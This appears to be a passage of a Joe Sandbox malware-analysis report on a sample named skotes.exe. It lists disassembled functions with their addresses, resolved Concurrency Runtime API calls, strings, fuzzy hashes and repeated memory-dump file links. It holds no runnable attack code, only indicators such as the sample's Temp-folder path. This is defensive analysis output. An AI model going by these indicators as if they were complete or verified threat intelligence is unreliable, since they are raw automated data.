Opcode ID: cbea55f447e934d198377b6dabd245eef2eb91c196a1097ff146c89082caab3c
Instruction ID: dea1f4283b0235d8f0a4dec21299467df809b9de681ae31c92e522a3ab72afd1
Opcode Fuzzy Hash: cbea55f447e934d198377b6dabd245eef2eb91c196a1097ff146c89082caab3c
Instruction Fuzzy Hash: F2414D75A00619EFDB49DF64C454AADBBB7FF88310F088159E906A7390CB75EE41CB81

Function 0061D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0061D344
ListArray.LIBCONCRT ref: 0061D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0061D370
ListArray.LIBCONCRT ref: 0061D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0061D3B3

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 2e4eade1492efd225186a2f8e042c89feddde269c97079f237c1d17142fc674d
Instruction ID: cab34b7007719350c93abb102198b5c4d2a4f514deb3f2267d6a7e2657b2e7e5
Opcode Fuzzy Hash: 2e4eade1492efd225186a2f8e042c89feddde269c97079f237c1d17142fc674d
Instruction Fuzzy Hash: 7A31AD35700610AFDB05DF54C885BEEB7B7AF8A310F084199E9069B392DB74ED81CB92

Function 006186C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 006186EE

Part of subcall function 0060EAD0: _SpinWait.LIBCONCRT ref: 0060EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00618702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00618734
List.LIBCMT ref: 006187B7
List.LIBCMT ref: 006187C6

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 2846fdf351849a18000274e6eae12af8c4c5b2d8b1e4b8dda1f04189e995738d
Instruction ID: fc4b42732232d1c074646ed3e7562d61c30bdce509a23458641fe5b25c56579c
Opcode Fuzzy Hash: 2846fdf351849a18000274e6eae12af8c4c5b2d8b1e4b8dda1f04189e995738d
Instruction Fuzzy Hash: 27318632905256DFCB64EFA4D5816EDBBB2BF04318F28406ED40167692CB31AD84CBA8

Function 0062182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006218A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 006218EB

Strings

pContext, xrefs: 0062189C

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 729face1735e7159622416999fae9c9e79876a0775f7457abd631f1d455d5c26
Instruction ID: 9dc8df65fd53bf1ed9441afe345fcedb03ecacc12c93fc4989aac7b6d19d8307
Opcode Fuzzy Hash: 729face1735e7159622416999fae9c9e79876a0775f7457abd631f1d455d5c26
Instruction Fuzzy Hash: 11214C35B04A359BCB14AB64E8D1AFD73A7BFA2334B04011AE5018B3D1CBB8EC41CE84

Function 0062DFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

6b, xrefs: 0062E034
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0062DFE8

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6b$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-3345194133
Opcode ID: a6c5db951da41859fa9fa3e32f664559461a7459b155a74d40bc79895236323c
Instruction ID: 37761f867bfdd701bfd4681c61078550f8038a652fdf8196046b8edeb9dfa9c3
Opcode Fuzzy Hash: a6c5db951da41859fa9fa3e32f664559461a7459b155a74d40bc79895236323c
Instruction Fuzzy Hash: 1D210A316049297FDB30AE64BC80E6B73AFEF003647104528F92493341E772EC528F51

Function 0061AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0061AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0061AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0061AF4E

Strings

pExecutionResource, xrefs: 0061AF07

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: e2c475daf0af9f4085cc4813fdbb8aee624330328019633b9af9928516efa389
Instruction ID: adf4f6fa44e6bc6924517afee9d4858802c7864d840d3df2ef3de27cb90c8796
